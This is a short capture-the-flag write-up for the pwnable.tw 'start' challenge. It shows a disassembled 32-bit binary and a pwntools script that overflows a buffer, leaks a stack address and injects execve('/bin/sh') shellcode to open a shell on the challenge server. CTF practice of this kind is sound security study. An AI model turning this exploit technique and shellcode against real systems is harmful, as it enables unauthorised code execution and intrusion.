看保護機制
checksec start
看源碼
objdump -d -M intel start
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| start: file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
8048060: 54 push esp
8048061: 68 9d 80 04 08 push 0x804809d
8048066: 31 c0 xor eax,eax
8048068: 31 db xor ebx,ebx
804806a: 31 c9 xor ecx,ecx
804806c: 31 d2 xor edx,edx
804806e: 68 43 54 46 3a push 0x3a465443
8048073: 68 74 68 65 20 push 0x20656874
8048078: 68 61 72 74 20 push 0x20747261
804807d: 68 73 20 73 74 push 0x74732073
8048082: 68 4c 65 74 27 push 0x2774654c
8048087: 89 e1 mov ecx,esp
8048089: b2 14 mov dl,0x14
804808b: b3 01 mov bl,0x1
804808d: b0 04 mov al,0x4
804808f: cd 80 int 0x80
8048091: 31 db xor ebx,ebx
8048093: b2 3c mov dl,0x3c
8048095: b0 03 mov al,0x3
8048097: cd 80 int 0x80
8048099: 83 c4 14 add esp,0x14
804809c: c3 ret
0804809d <_exit>:
804809d: 5c pop esp
804809e: 31 c0 xor eax,eax
80480a0: 40 inc eax
80480a1: cd 80 int 0x80
|
exploit
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from pwn import *
context(arch='i386',os='linux')
filename = './start'
io = remote('chall.pwnable.tw',10000)
io.recvuntil('CTF:')
payload = b'A'*20 + p32(0x8048087)
io.send(payload)
ad = u32(io.recv(4))
payload = b'A'*20 + p32(ad + 20)
payload += b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80\x00'
io.send(payload)
io.interactive()
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